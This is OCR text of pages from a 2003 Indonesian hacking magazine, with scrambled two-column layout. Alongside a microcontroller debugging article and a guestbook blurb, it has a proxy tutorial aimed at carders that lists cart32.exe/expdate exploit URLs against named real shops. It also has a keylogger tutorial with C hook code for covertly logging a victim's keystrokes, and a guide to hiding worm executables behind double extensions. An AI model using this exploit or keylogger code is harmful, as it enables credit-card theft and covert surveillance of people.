Pasang Breakpoint di baris OpCode BCLR 4,PORTA ; Turn Address-nya sebaiknya diperkirakan setelah address RAM
LED back off. Tekan Go dan tunggu. Tidak akan terjadi Break- yang digunakan. Pada Simple I O 2@RAM.asm digunakan
point karena software menunggu di loop Top. Tekan tombol di $45 yang menyisakan 5 byte RAM untuk scratch pad ($$40 yg
target, Led segera menyala. Setelah 1 detik, baru terjadi break- sudah dipakai sebagai Temp1 dan $41 sampai $44 yang belum
point. Di sinilah unsur RealTime Debug-nya yang artinya MCU dipakai). Tentukan berapa byte RAM yang akan dipakai di
jalan dengan RealTime sementara softwarenya sambil dipasangi Software. Seringkali 8 byte sudah mencukupi dan gunakan
breakpoint dan akan terjadi breakpoint bila adrress breakpoint $48 sebagai origin program anda di RAM.
diakses oleh MCU. Software bisa dibuat langsung sesuai timing 2. Apabila ada vector lain yang dipakai seperti timer, maka vector
aslinya (1 detik nyala), sedangkan kalau memanfaatkan In-Cir- tersebut juga bisa diprogram. Pilihlah address yang akan dipakai
cuit Simulator (Simulator tidak punya I/O, lebih parah lagi), seperti untuk vector reset. RAM KX8 sebesar 192 byte
termasuk untuk Stack memang agak merepotkan memilih
timing tersebut harus diubah agar tidak terlalu lama menunggu address. Untuk MCU yang RAMnya lebih banyak seperti
dan perlu diatur lagi setelah pada tahap finishing. Realtime debug GP32 yang punya 512 byte, stack-nya bisa digeser ke lokasi
sangat perlu bila misalnya anda membuat software yang bisa lain yang ujungnya di $23F:
membedakan lama penekanan tombol. Penulis pernah mem- LDHX #$240 ; $0240 > H:X
buat routine yang bisa membedakan fungsi penekanan tombol TXS ; $023F > SP
< 1 detik, 1 detik < 5 detik, dan 5 detik lebih. Dengan catatan, instruksi TXS mengurangi address dengan 1.
Breakpoint di ICD hanya 1 buah dan dilakukan secara fisik
(Hardware Breakpoint). Ada register (Break Register) di Ringkasan
MCU yang di-compare secara fisik dengan Program Counter. Simulator:
Bila sama, timbullah interrupt yang menyelesaikan urusan Semua Fungsi di simulasi oleh PC.
breakpoint tersebut. Address lokasi yang dipasangi break- + Cukup dengan PC bisa belajar cara kerja MCU.
– Tidak punya I/O sehingga tidak bisa interaksi dengan dunia luar
point di copy ke Break Register. MCU.
Sekarang kita buktikan efek penghilangan loop untuk me- – Tidak RealTime.
nunggu Tombol dilepas. In-Circuit Simulator:
Fungsi MCU di simulasi PC, I/O dari Pod. MCU di POD sebagai kurir
Pasang simbol remark di awal baris OpCode sehingga men- bolak balik dari POD ke PC.
jadi * OFFLP BRCLR 3,PORTA,OFFLP ; till sw off atau + Punya I/O via POD.
+ Tidak menghabiskan Endurance (umur tulis hapus) Flash ROM
Hapus baris tersebut untuk mencoba efeknya. Perubahan MCU.
ini dilakukan di file Assembly dalam Text editor Win IDE. – Perlu hardware (disebut POD misal MiniEVM).
Simpanlah dengan nama berbeda dari Simple I O 2.asm – Tidak RealTime.
(misal testonly.asm) agar tidak merusak file asli. Assemble In-Circuit Debugger:
file tersebut. Lalu hapus program di Flash ROM MCU dan Tidak ada yang disimulasi. Semua menggunakan MCU. MCU
program dengan file S19 hasil Assembling tadi. Tutup Pro- dikendalikan oleh PC waktu Step, Multi Step. Waktu Go, MCU bekerja
Full Speed sampai terjadi Breakpoint atau Reset.
grammer. Jalankan ICD. Beri perintah Go tanpa Breakpoint. + No Offset Address. Debug & Final @ same address.
Tekan tombol di target. Maka LED akan menyala 1 detik, + MCU tidak disimulasi, Cuma di-monitor dan dikendalikan.
padam lalu menyala lagi dan seterusnya sejauh tombol + RealTime (limited)
tersebut belum dilepas. + Hemat Endurance Flash jika Code di RAM (load)
– Boros Endurance Flash jika Code Di Flash (prog) Minimum
Menghemat Endurance Endurance 10k.
– Perlu hardware (disebut POD misal MiniEVM).
Untuk menghemat endurance Flash ROM, alternatifnya ada- – Ada I/O yang tidak bisa dipakai @ mode monitor (realtime limited)
lah penggunaan RAM untuk menguji software. Pindahkan – Beberapa limitation pada mode monitor.

Sep/Okt 2003 NeoTek 27


NeoTutor

P ROX Y: B E R K I P R AH D I I NTE R N ET
Tanpa Diketahui Orang
Mengapa kita harus menyembunyikan IP kita. Sebenarnya, walaupun bukan hacker atau cracker,
anonimitas sewaktu berinternet membuat kita lebih aman dari serangan cracker ataupun iklan yang
menjengkelkan. M.A. Rody Candera (odyxb@melva.org) membahasnya untuk anda.
PAKAH PERNAH KETIKA ANDA
A mengunjungi suatu situs, dan
situs tersebut menampilkan
alamat IP (Internet Protocol) koneksi
internet anda? Contohnya situs
http://www.k-elektronik.org atau
situs http://www.kamus.web.id. De-
ngan menggunakan script yang yang
terpasang pada situs tersebut, alamat
IP kita makin jelas diketahui. Bagi
pengguna biasa internet hal itu tidak
dipusingkan, tetapi bagi para hacker
apalagi cracker dan carder, hal itu ada-
lah masalah besar.
Bagaimana cara mengatasi hal terse- Atau anda dapat mencarinya dengan
but? Atau bagaimana teknik untuk tempat mendaftarkan akses internet). memanfaatkan search engine Google
menutup alamat IP maupun infor- dengan menggunakan keyword:
masi yang menyangkut akses koneksi Sekarang anda kunjungi situs kelom- proxy anonymous list
internet, agar tidak diketahui? pok hacker indonesia Kecoa-Elektronik
http://www.k-elektronik.org).
(h
Jawabannya adalah dengan menggu-
nakan anonymous proxy. Anonymous Situs k-elektronik, memperlihatkan
proxy adalah salah satu teknik untuk informasi IP dari akses koneksi inter-
menyembunyikan informasi atas ke- net yaitu 216.136.171.252. Mungkin
beradaan Internet Protocol sebenar- ini tidak terlalu menimbulkan masa-
nya (hhttp://olt.on.ca/proxy.html). Ini lah, tetapi informasi lainnya yang me-
adalah salah satu cara atau teknik yang nyangkut akses koneksi internet yang
digunakan oleh mereka yang menga- mungkin cukup bermasalah seperti
ku hacker maupun cracker untuk me- pada contoh yaitu
nutupi jejaknya di internet ketika se- 1.0 metronet-cache0:3128 (Squid/
dang melakukan pekerjaan hacking 2.4.STABLE6), 1.0 mdn-cache0.nusa.net.id:
maupun cracking. 3128 (squid/2.5.STABLE1)
Dengan menggunakan proxy maka
posisi sebenarnya seseorang yang
melakukan koneksi ke Internet tidak
dapat diidentifikasi. Pada umumnya,
orang mengidentifikasi keberadaan
seseorang yang mengakses internet
melalui alamat IP yang digunakan.
Bila Tidak Menggunakan Proxy
Tanpa perlu menjadi hacker maupun Mencari Anonymous Proxy
cracker, anda pun dapat melakukan Hal yang dideskripsikan di atas adalah Memasang Proxy pada Komputer
hal itu. Penulis telah mencobanya. contoh jika tidak menggunakan proxy. Setelah anda mendapatkan proxy yang
Mari sekarang anda coba langkah- Bagaimana jika menggunakan proxy? dibutuhkan, selanjutnya adalah meng-
langkah yang akan dipaparkan untuk Pertama-tama anda harus mendapat- gunakan proxy tersebut. Pada browser
membuktikan hal tersebut. kan dulu proxy server yang hendak anda, pilih menu dari toolbar:
Kunjungi http://www.kamus.web.id, digunakan. Berbagai macam proxy Tool > Internet Options
dan perhatikan bagian bawah page situs server dapat anda peroleh dari Akan muncul menu window Internet
tersebut. Pada gambar terlihat, situs http://www.proxymatrix.com/page1.html Options ( ja-
Kamus Online memberitahukan bahwa atau dari ngan sem-
alamat IP koneksi internet kita adalah http://www2.multiproxy.org/anon_list.html barang me-
202.162.199.253 (sebenarnya itu IP lakukan per-
Proxy yang dibutuhkan adalah proxy
dari ISP (internet Service provicer) anonymous. ubahan jika

28 NeoTek Sep/Okt 2003


NeoTutor

tidak ingin terjadi sesuatu hal yang mem- Pada alamat situs tersebut, anda perha-
buat anda akan mengalami kesulitan), pa- tikan catatan-catatan yang muncul per-
da posisi ini yang perlu anda lakukan ada- tama kalinya anda lihat pada browser.
lah: pilih Connections > LAN Settings Pada situs pertama yang ditampilkan
adalah IP dari ISP tempat anda men-
daftar, sedangkan pada situs kedua
malah langsung menampilkan IP ko-
neksi internet anda sendiri.

Anda akan menuju sebuah menu


window baru yaitu window Local
Area Network (LAN) Settings. Pada
bagian Proxy server, beri tanda tick
pada use a proxy server for your
LAN....., pada address isikan proxy
yang anda dapat dan port dari proxy
yang anda dapatkan tersebut. Seperti Alamat IP 216.136.171.252 (mungkin
gambar di bawah ini. anda menemukan alamat IP yang ber-
beda) masih ada, itu tidak menjadi per-
soalan karena itu bukan IP dari ISP
tempat anda mendaftarkan akses ko-
neksi internet maupun IP anda sendiri. Sekarang silakan anda gunakan proxy,
untuk dapat anda perbandingkan ha-
Ingin Lebih Yakin lagi?
silnya nanti. Masih menggunakan
Belum merasa yakin? Mari kita per- kedua situs di atas sebagai target.
kuat keyakinan anda agar benar-benar
yakin. Andaikata anda adalah seorang
carder dan anda sedang mencoba mema-
suki beberapa situs e-commerce untuk
mendapatkan catatan transaksi yang
berisi info mengenai sebuah kartu
kredit (baca artikel Memanfaatkan
Setelah itu, klik tombol OK, begitu Kelemahan cart32.exe di NeoTek III
juga pada menu window Internet No. 5 Feb/Mar 2003).
Options untuk mengaktifkan perker- Di sini proxy belum digunakan karena
jaan anda tersebut. kita akan mencoba membandingkan
Setelah Memakai Anonymous Proxy sebelum mengunakan proxy dan se-
sudah menggunakan proxy. Sebagai
Jika telah selesai, refresh pada situs bahan target kita adalah dua alamat
http://www.kamus.web.id dan juga berikut ini:
situs http://www.k-elektronik.org
untuk melihat hasil perkerjaan anda 1. http://www.bagenvy.com/cgis/cart32.exe
tadi. 2. https://www.wideopen.net/wrburns_s/
cgi-bin/cart32.exe
Seperti yang anda lihat, sudah ada
perubahan bukan? Kunjungi kedua alamat tersebut; ja-
ngan lupa menambahkan unicode
Pada situs kamus online perubahan expdate di belakang kedua alamat tsb.
yang terjadi adalah alamat IP yang ter-
lihat adalah proxy yang anda masukkan. Jadi lengkapnya kedua situs yang
akan dikunjungi adalah:
Pada situs kecoa-elektronik, perubahan
yang terjadi adalah informasi menge- 1. http://www.bagenvy.com/cgis/cart32.exe/
Anda lihat sendiri hasilnya, sebelum
nai akses koneksi internet hilang atau expdate
menggunakan proxy dan sesudah
dengan kata lain tidak diketahui. 2. https://www.wideopen.net/wrburns_s/
menggunakan proxy.
cgi-bin/cart32.exe/expdate
Sep/Okt 2003 NeoTek 29
NeoTutor

K EYLOG G E R V. 2.0
Modifikasi srv32.exe dan srv32.dll
Melanjutkan pembahasan membuat keylogger sendiri, Dewanata (m_strdewanata@yahoo.com)
melakukan penyempurnaan dengan menambahkan dua fungsi pada program keylogger srv32.exe
dan srv32.dll yang telah dibahas sebelumnya.
ADA EDISI TERDAHULU (NEOTEK III/8, MEI/JUN 2003), Hal ini tentunya dapat menyebabkan hal-hal yang tidak
P telah dijelaskan langkah-langkah dasar untuk me-
ngembangkan satu program kecil yang berkemam-
diinginkan. Untuk itu, sedikit modifikasi perlu dilakukan
di kode program utama (ssrv32.cpp) pada fungsi WinMain().
puan untuk 'menangkap' setiap ketikan di keyboard dan Modifikasi dilakukan dengan menambahkan sebuah objek
menuliskannya ke sebuah file teks yang didefinisikan oleh mutex, yang dinamakan srv32_mutex_id. Untuk sekedar
user. Jenis program ini dikenal dengan nama keylogger. informasi, objek mutex (mutually exclusive coordinator)
Pada edisi ini, akan dibahas versi lanjutan program ter- adalah objek yang sering dipakai di aplikasi yang membu-
sebut dengan menambahkan dua fungsi tambahan yaitu: tuhkan kemampuan multi-threading, dan bertanggung
1. Mencegah program dimuat ke memori lebih dari satu jawab atas proses signaling ketika sinkronisasi.
kali. Objek mutex ini akan dibuat ketika program pertama kali
2. Menampilkan informasi mengenai program yang aktif dieksekusi. Jika ternyata program yang sama dieksekusi
pada saat pengetikkan. kembali, maka penciptaan objek ini akan gagal, dan kega-
galan ini akan terdeteksi oleh program kita dengan meme-
Mencegah Program Dimuat Lebih dari Satu Kali riksa hasil pemanggilan fungsi GetLastError(). Untuk
Jalankan program keylogger kita tiga kali dengan menge- lebih jelasnya silahkan membaca potongan kode di Gambar 3.
tikkan srv32.exe di lingkungan console seperti yang int APIENTRY WinMain(HINSTANCE hInstance,
ditampilkan di Gambar 1 di bawah ini. HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow) {
HANDLE hMutexOfSrv32 = CreateMutex( NULL, FALSE, TEXT("srv32_mutex_id"));
DWORD error_code=GetLastError();

if(error_code==ERROR_ALREADY_EXISTS||
error_code==ERROR_ACCESS_DENIED){

return FALSE;
}
Gambar 1. Menjalankan program keylogger sebanyak tiga kali.
HWND hwnd;
MSG msg;
Maka akan ada tiga instan dari program tersebut yang WNDCLASSEX wcl;
aktif di memori, seperti dapat dilihat menggunakan
Windows Task Manager, di Gambar 2. wcl.cbSize = sizeof(WNDCLASSEX);

wcl.hInstance = hInstance;
wcl.lpszClassName = szWinName;
wcl.lpfnWndProc = WindowFunc;
Gambar 3. Modifikasi kode

Menampilkan Program yang Aktif pada Saat Pengetikan


Pada versi sebelumnya, program melakukan intersepsi
atas semua proses aktivitas keyboard.
Hal ini kadang tidak sesuai dengan yang diinginkan oleh
si pemasang keylogger dan dapat menyebabkan hal-hal
yang tidak diinginkan, misalnya kebingungan dalam mem-
baca 'hasil tangkapan'. Pada versi ini, program akan dimo-
difikasi sehingga dapat menampilkan informasi mengenai
program yang aktif pada saat 'korban' melakukan pene-
kanan keyboard.
Jika pada versi sebelumnya, kita hanya memanfaatkan
KeyboardProc() untuk menangkap pesan keyboard, maka
pada versi ini kita menambahkan fungsi CBTProc() guna
melakukan pemeriksaan program apa yang sedang aktif.
CBT adalah fungsi hook yang disediakan Windows untuk
mendapatkan informasi mengenai nama aplikasi atau lib-
rary yang mengirimkan pesan tertentu. CBT sering di-
pakai untuk membangun aplikasi bertipe Computer Based
Training.
Gambar 2. Tiga instan srv32.exe aktif di memori

30 NeoTek Sep/Okt 2003


NeoTutor

Yang perlu diingat, fungsi CBT ini harus didefinisikan di Buka Excel, Word, Notepad, dan Internet Explorer. Laku-
bagian interseptor program kita. kan aktifitas keyboard pada masing-masing aplikasi.
Seperti telah dijelaskan di edisi sebelumnya, program Setelah dirasakan cukup, buka demo.txt.
keylogger ini terbagi atas dua bagian: Di bawah ini adalah contoh dari output program.
• bagian inisialisasi, srv32.cpp, setelah dikompilasi akan
menjadi srv32.exe
• bagian interseptor, srv32d.c, setelah dikompilasi akan
menjadi srv32d.dll
Karena fungsi ini ada di bagian DLL program kita sedang-
kan proses penulisan ada di bagian EXE, sehingga seperti
pada versi sebelumnya perlu dideklarasikan satu variable
yang berfungsi sebagai Windows Message identifier,
sebagai berikut:
#define UWM_CBTCAPTURED 5001
Kemudian tambahkan fungsi ini di srv32d.c.
LRESULT CALLBACK CBTProc(int code, WPARAM wParam, LPARAM lParam)
{
Koleksi Keylogger CD NeoTek III/12
if(code==HCBT_ACTIVATE)
{
Sebagai pelengkap pembelajaran anda mengenai key-
PostMessage(hwnd,5001,wParam,lParam); logger, dalam CD NeoTek kali ini disediakan juga bebe-
} rapa keylogger yang dapat diperoleh di Internet, di
return CallNextHookEx(hhookMsg, code, wParam, lParam);
} antaranya:
Gambar 4. Fungsi CBTProc()
• Easy Macro v. 2.01
• Invisible Key Logger 97
Beralih ke srv32.cpp, tambahkan definisi • Keycopy v. 1.01
UWM_CBTCAPTURED seperti yang telah kita lakukan • Keylog Windows v. 1.5
sebelumnya di srv32d.c. Tambahkan fungsi yang terlampir • KeyLog!2 v.2.0
di Gambar 5. • KeyLog! v. 2.5
LRESULT OnCBTCaptured(WPARAM wParam, LPARAM lParam){ • KeyLogger for 95
• KeyLog for Windows
char szClassname[CLASSNAMELENGTH];
GetClassName((HWND)wParam, szClassname, CLASSNAMELENGTH);
• DOS Keylogger
• KeyTrap v. 1.0
stream=fopen(m_szFilename,"a+"); • KeyTrap v. 2.0
long len = lstrlen(szClassname);
char c = '<'; • KeyTrap v. 3.0
fwrite(&c,1,1,stream); • Log
fwrite(&szClassname,len,1,stream);
c = '>';
• PAL KeyLog Pro
fwrite(&c,1,1,stream); • Playback! v. 1.9c
fclose(stream); • Phantom 2
return 0;
} Koleksi Keylogger
CD NeoTek III/11
Gambar 5. Kode OnCBTCaptured()
Di CD NeoTek III/11
Beberapa deklarasi variable-bantu (auxiliary variables) (Agustus/September 2003)
tidak ditampilkan disini untuk simplifikasi. Agar lebih terdapat PAL PC Spy yang
jelas, silakan mempelajari kode sumber yang dilampirkan pada dasarnya adalah suatu
dalam CD NeoTek edisi ini. keylogger ditambah fungsi-
fungsi lain.
Demikian, anda telah berhasil menambahkan fungsi un-
tuk mencatat nama program atau library yang sedang Koleksi Keylogger
aktif ketika proses pengetikkan terjadi. CD NeoTek III/5
Yang perlu diperhatikan, nama ini belum tentu akan sama NeoTek III/5 (Februari/Maret
dengan nama komersialnya. 2003) membahas PC Acme Net
Misal pada saat user menjalankan (suatu ketlogger) dan cara
mengatasinya dengan Anti-
• Excel, maka yang tercatat adalah <XLMAIN>. Keylogger 2.2. keduanya
• Internet Explorer akan dicatat sebagai <IEFrame> tersedia pada CD NeoTek edisi
• Word sebagai <OpusApp>. yang bersangkutan.
Produk Akhir
Lakukan kompilasi kedua file sumber kita yaitu srv32.cpp
dan srv32d.c.
Setelah proses kompilasi selesai, letakkan srv32.exe dan
srv32d.dll di satu folder, lalu jalankan
srv32.exe c:\demo.txt.

Sep/Okt 2003 NeoTek 31


NeoTutor

G U E STBOO K V. 1.0 (G R ATI SWAR E)


Fleksibel, Dinamis, dan Interaktif
Ingin membuat situs anda lebih menarik dan interaktif? Gunakan GuestBook karya
Wawan Ridwan (iniemailwawan@telkom.net), yang selain gratis juga tidak disisipi oleh iklan.
Anda bahkan dapat membuat modifikasi sendiri seperlunya.

UEST BOOK ATAU BUKU TAMU


G adalah sebuah layanan yang
sering kita temui dalam sebuah
situs web. Manfaat sebuah Guest Book
bagi pengunjung situs selain bisa seba-
gai ajang komunikasi antara pengun-
jung lain juga sebagai penampung in-
formasi atau komentar dari pengunjung
yang dapat dimanfaatkan oleh penge-
lola situs web tersebut untuk pengem-
bangan situsnya di masa datang.
Bila kita mempunyai sebuah situs web
rasanya belum lengkap kalau website
kita belum atau tidak ada Guest Book-
nya. Terutama untuk website pribadi.
Ada dua cara pemilik web menyedia-
kan Guest Book di situsnya.
Cara pertama mendapatkan layanan pe-
nempatan Guest Book gratis dari situs Gambar 1. Tampilan halaman utama Guest Book.
web lain. Cara seperti ini tentunya
membutuhkan "pengorbanan." Salah Program yang saya buat ini mengguna- Seorang pengunjung yang ingin me-
satu bentuk pengorbanannya adalah kan database Microsoft Access 2000 de- ngutip komentar dari pengunjung lain
kita harus merelakan halaman Guest ngan layanan-layanan atau fasilitas yang dapat melakukannya dengan cara
Book kita disisipi iklan, baik itu banner akan saya jelaskan berikut ini. meng-klik menu panel Kutip.
atau pop-up. Fasilitas • Menyisipkan smilie dan BB-Code.
Cara kedua adalah dengan membuat Fasilitas yang saya sediakan dalam Guest • Mencatat Komentar dengan status
sendiri Guest Book yang diinginkan. Book ini dibagi menjadi dua bagian: Private atau Public.
Cara seperti ini tentu saja kita lebih untuk pengunjung dan untuk admin. Bila seorang pengunjung mencatat
berdaulat atas Guest Book kita. komentar dengan status private maka
Fasilitas Untuk Pengunjung
Cara ketiga. Namun sesungguhnya hanya pemilik Guest Book saja yang
ada cara yang ketiga, yakni dengan • Mencatat Komentar bisa membacanya.
menggunakan source-code Guest • Mengutip Komentar yang sudah ada
Book gratis. Dan inilah yang akan
saya tawarkan kepada anda.
Saya telah merancang sebuah Guest
Book yang fleksible, dinamis, dan in-
teraktif. Kenapa saya sebut fleksible,
dinamis, dan interaktif? Karena me-
mang Guest Book ini saya rancang se-
demikian rupa untuk memudahkan
pengerjaan administrasi oleh pemilik
Guest Book. Anda dapat melihat tam-
pilan halaman depan Guest Book ini di
Gambar No.1
Tapi maaf, Guest Book ini saya tuju-
kan untuk pemula saja. Untuk yang
sudah mahir menurut saya mungkin
tidak cocok, karena tentu sudah bisa
membuatnya sendiri.
Malah mungkin lebih baik dari Guest
Book yang saya buat ini.
Gambar 2. Halaman Admin Area.

32 NeoTek Sep/Okt 2003


NeoTutor

Fasilitas Untuk Admin • Edit Body hari dan bulan dalam halaman Edit
Fasilitas ini terdapat di halaman Admin Menu digunakan untuk mengedit war- Teks Tanggal ini dengan bahasa yang
Area (aadmConfigGb.asp). Karena hanya na body, scroll-bar, dan huruf. anda sukai.
admin saja yang berhak memasuki ha- • Edit/Tambah Bahasa Selain fasilitas-fasilitas yang sudah
laman ini, maka anda diharuskan login saya sebutkan di atas dalam Guest
terlebih dahulu. Anda dapat melihat Default bahasa yang digunakan dalam Book ini pun disediakan fasilitas lain,
tampilan halaman admin pada Gambar 2. Guest Book ini adalah bahasa Indonesia. misalnya dapat diketahui jenis browser
Jika admin menginginkan untuk meng- yang dipakai pengunjung, sistem ope-
Berikut ini adalah penjelasan masing- gantinya dengan bahasa lain bisa dila-
masing menu dalam halaman Admin rasi yang digunakan, jumlah user
kukan dengan cara mengedit bahasa online, dll.
Area. yang sudah ada atau dengan cara me-
• Edit Logo dan URL nambah koleksi bahasa baru. Demikianlah Guest Book sederhana ini
saya haturkan kepada anda, terutama
Menu ini terdapat di halaman Admin • Edit Record yang pemula seperti saya. Guest Book
Area. Menu ini dapat digunakan untuk Jumlah huruf atau karakter komentar ini masih banyak kekurangan. Untuk
mengedit Logo dan URL situs utama yang dimasukkan pengunjung dapat itu saya mohon maaf jika ada kekeli-
anda. Type Logo bisa berupa gambar dibatasi dengan memilih menu Edit ruan.
(image) atau Text. Posisi logo dapat di- Record dalam halaman admin. Dalam
tentukan di kiri atau di tengah. halaman Edit Record jumlah maksimal Kritik dan saran saya tunggu di
record yang ditampilkan per halaman iniemailwawan@telkom.net
• Edit UserName dan Password
pun dapat diubah. Defaultnya adalah 5
Menu ini digunakan jika pemilik Guest record per halaman.
Book bermaksud untuk mengubah
UserName dan Password sebagai admin • Edit Kata Pengantar
dalam Guest Book ini. Sebaiknya me- Kata Pengantar adalah kalimat pembuka
mang jika anda pertama kali menggu- Guest Book yang terdapat di halaman
nakan Guest Book ini agar segera meng- utama. Kata Pengantar ini dapat diedit
ganti UserName dan Password-nya halaman Edit Kata Pengantar.
untuk keamanan.
• Edit Ucapan Terima Kasih
• Edit Header Bila seorang pengunjung selesai men-
Header adalah bagian paling atas dalam catat komentarnya ia akan mendapat-
GuestBook. Anda dapat mengubah tam- kan ucapan terima kasih di halaman GuestRoom.zip yang terdapat dalam CD
pilan header dalam menu ini. Bagian- Pesan.asp. Ucapan terima kasih ini da- NeoTek memuat Guest Book v. 1.0 karya
bagian yang dapat diubah dalam header pat diedit oleh admin di halaman Edit Wawan Ridwan yang dapat langsung anda
adalah Teks Title (tag <TITLE>), Teks Ucapan Terima Kasih. pasang pada situs web anda. Bila di-unzip akan
Header, Background header, dll. menghasilkan beberapa file dan folder seperti
• Edit Panel Menu tampak pada gambar di bawah ini.
• Edit Footer Panel Menu adalah daftar menu yang
Footer adalah bagian yang paling bawah masing-masing berisi link untuk mela-
pada situs web. Perubahan yang bisa di- kukan aksi terhadap sebuah pesan.
lakukan pada footer ini antara lain: Teks Gambar 3 menunjukkan contoh panel
footer, posisi teks (kiri, kanan, atau tengah), menu. Admin dapat mengedit tampil-
ukuran huruf, dll an panel menu, baik background-nya
• Edit Profile maupun ukuran dan jenis hurufnya.
Dengan menu ini admin dapat meng- • Edit Style
ubah profilenya. Menu Edit Style digunakan untuk
• Edit Rujukan mengedit tampilan komponen-kompo-
nen form seperti TEXT, TEXTAREA,
Rujukan adalah daftar jawaban yang BUTTON, OPTION, dll.
disediakan atas pertanyaan: "Tahu
situs ini dari ?" Dalam halam Edit • Edit Tabel
Rujukan admin bisa mengedit daftar Warna-warna tag table dalam Guest
jawaban tersebut. Book ini dapat anda ubah sesuai de-
• Tolak IP Addres ngan keinginan anda. Ada 5 tabel yang
dapat anda ubah. Warna yang dapat
Adakalanya ada pengunjung iseng yang diubah latar belakang warna dan war-
suka memberi komentar yang tidak na hurufnya.
senonoh. Jika dikehendaki admin bisa
menolak pengunjung tersebut dengan • Edit Teks Tanggal
mendaftarkan IP Address-nya di Guest Teks Tanggal adalah nama hari dan
Book. Jika IP pengunjung tersebut ter- bulan yang digunakan dalam Guest
daftar di database maka ia tidak diijin- Book ini, seperti untuk menunjukkan
kan untuk mencatat komentar. tanggal 16/08/2003 maka akan ditam-
pilkan menjadi Sabtu 16 Agustus 2003.
Anda dapat mengubah nama-nama
Gambar 3. Panel Admin.

Sep/Okt 2003 NeoTek 33


NeoTutor

STU D I K AS U S K AM U F L AS E WO R M
Mengapa Worm Berekstensi Ganda
Apakah anda pernah memperhatikan bahwa worm yang beredar sekarang mempunyai ekstensi
ganda? Happy Chandraleka (Cakrabirawa@mail.ru) membahas mengenai hal ini untuk anda,
lengkap dengan simulasi mengkamuflase file anda sendiri.

ERMASALAHAN KAMUFLASE BUKANLAH PERKARA MASA Untuk Ekstensi_2 dipilih salah satu dari dua pilihan ini:
P kini saja. Sejak zaman Yunani masalah kamuflase
telah dikenal dan dimanfaatkan. Yaitu ketika terjadi
.pif
.scr
perang antara Yunani dan Troy. Meski dikepung selama 10 Misalnya secara acak worm BadTrans memberikan nama
tahun, Troy tidak jatuh juga. Sehingga Yunani mengganti untuk attachment-nya dengan nama Humor.ZIP.scr.
strategi dengan menyusupkan tentaranya dalam sebuah Ekstensi .scr —sebagai ekstensi screen saver—akan di-
kuda kayu raksasa yang berongga yang dikirimkan ke Troy. sembunyikan oleh Windows karena merupakan ekstensi
Sinon, seorang mata-mata Yunani, berhasil meyakinkan yang telah dikenal oleh Windows sendiri.
Troy untuk membawa kuda kayu tersebut masuk ke kota. Kenapa begitu? Karena pada kebanyakan sistem operasi
Di malam hari, tentara yang dikamuflasekan dalam kuda Windows, opsi Hide file extensions for known file types
kayu dikeluarkan oleh Sinon yang mengakhiri Trojan War. diaktifkan. Opsi ini dapat Anda akses melalui kotak dialog
Kamuflase digunakan juga pada worm untuk mengelabui Folder Options. Akibatnya, ekstensi .scr akan disembunyikan.
para pengguna komputer. Di antaranya dari nama file yang Maka nama tersebut akan terlihat sebagai Humor.ZIP —
digunakan, worm menggunakan nama-nama yang me- suatu nama dengan ekstensi yang innocent dan tidak
manfaatkan sifat ingin tahu seorang manusia. Misalnya berbahaya bila diklik.
saja Movie, Screen_Saver, atau Your_details pada Worm
Sobig.E. Atau menggunakan nama XXX_Teens, AvrilFans,
AvrilSmiles sebagai mana pada I-Worm.Avron menurut
penamaan worm dari Kapersky Lab. Lain lagi pada pada
worm BadTrans yang menggunakan nama-nama seperti
di bawah ini untuk attachment-nya:
fun
Humor
docs
info
Sorry_about_yesterday
Me_nude
Card
SETUP
stuff
YOU_are_FAT!
HAMSTER
news_doc
New_Napster_Site README
images
Pics
Nama-nama tersebut cukup mengundang rasa ingin tahu
manusia untuk mengklik dan menjalankan attachment
yang sejatinya merupakan file yang berbahaya.
Selain itu kamuflase juga diterapkan pada ekstensi file yang
digunakan. Ambil contoh pada Worm BadTrans yang di-
sertai dengan kemampuan keylogger. Worm ini mempu-
nyai nama attachment yang terdiri dari tiga bagian.
Formatnya seperti di bawah ini: Gambar A. Kotak dialog Folder Options
NamaFile + Ekstensi_1 + Ekstensi_2
Ada Apa dengan .PIF dan .SCR?
Untuk NamaFile, digunakan salah satu dari deretan nama-
nama yang telah disebut di atas. Sedangkan untuk Ekstensi_1 File aplikasi yang merupakan hasil kompilasi suatu compiler—
dipilih salah satu dari tiga pilihan di bawah ini: semacam Borland Delphi, Turbo Pascal, C++ Builder,
.DOC Visual Basic, dll—akan mempunyai ekstensi EXE atau
.MP3 COM. File inilah yang dinamakan dengan program yang
.ZIP para user akan menggunakannya tanpa mengetahui ba-
gaimana dan apa yang dilakukan oleh program.tersebut.

34 NeoTek Sep/Okt 2003


NeoTutor

Terlebih lagi source code atau kode program tersebut ti- Atas dasar alasan inilah seorang user yang kritis dia tidak
dak disertakan, sehingga dia tidak tahu proses dan perin- akan mau menjalankan suatu file dari sumber-sumber
tah apa yang akan dilakukan oleh program ini. Para user yang tidak dipercayainya.
akan pasrah bila menggunakan program. Ini adalah pro- Oleh karena itu maka para pembuat worm mengganti
gram secara umum. ekstensi file worm mereka dengan SCR atau PIF. Catat
Program tersebut bisa jadi merupakan program yang baik juga bahwa dengan ekstensi tersebut file worm yang me-
misalnya mampu memainkan file mp3 atau avi, dan bisa reka buat dapat secara penuh berjalan tanpa error sedikit
juga program yang jahat yang dapat memformat harddisk. pun layaknya sebuah file berekstensi EXE. Selain itu pada
Bila seorang user menjalankan file ini ia akan dihadapkan pada beberapa server tidak menghendaki adanya attachment
dua pilihan: file ini baik atau file ini buruk dan bersifat des- dengan ekstensi EXE atau COM.
truktif. Probabilitasnya 50:50, suatu peluang yang cukup besar Anda akan lebih jelas memahami ekstensi ganda pada worm
untuk memperoleh kebaikan dan peluang yang besar pula dengan melakukan simulasi pada lankah-langkahberikut.
untuk mendapatkan kerusakan dari akibat penggunaan file.

Simulasi Ekstensi Ganda


Pada bagian simulasi ini Anda diajak untuk lebih jelas memahami masalah ekstensi ganda. Kita akan menambahkan
dua buah ekstensi pada sebuah file aplikasi executable. Aplikasi tersebut adalah Notepad yang ada pada semua
komputer Windows, sehingga Anda lebih mudah dalam mengikuti simulasi ini. Dengan simulasi ini Anda dapat melihat
bahwa suatu file aplikasi dapat diganti ekstensinya menjadi .scr dan dapat secara penuh dijalankan tanpa error dan
hambatan sama sekali. Inilah salah satu cara kamuflase yang digunakan pada banyak worm dan trojan.

PANGGIL WINDOWS EXPLORER TAB VIEW FILE KELINCI PERCOBAAN


1 Jalankan Windows Explorer dengan
menu Start > Programs > Windows
2 Di kotak dialog Folder Options, pilih
tab View. Kemudian kosongkan
3 Kita perlu kelinci percobaan dan
yang ada pada semua komputer
Explorer. Kemudian pilih menu tanda check pada opsi Hide file adalah Notepad. Copy-kan saja file
